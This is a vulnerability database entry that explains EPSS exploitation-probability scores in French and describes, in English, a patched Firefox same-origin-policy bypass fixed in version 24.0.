EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
EPSS Score
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
EPSS Percentile
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Mozilla Firefox is prone to a security-bypass vulnerability.
Attackers can exploit this issue to bypass the same-origin policy and certain access restrictions to access data, or execute arbitrary script code in the browser of an unsuspecting user in the context of another site. This could be used to steal sensitive information or launch other attacks.
Note: This issue was previously discussed in BID 62447 (Mozilla Firefox/Thunderbird/SeaMonkey MFSA 2013-76 through -92 Multiple Vulnerabilities), but has been moved to its own record to better document it.
This issue is fixed in Firefox 24.0.
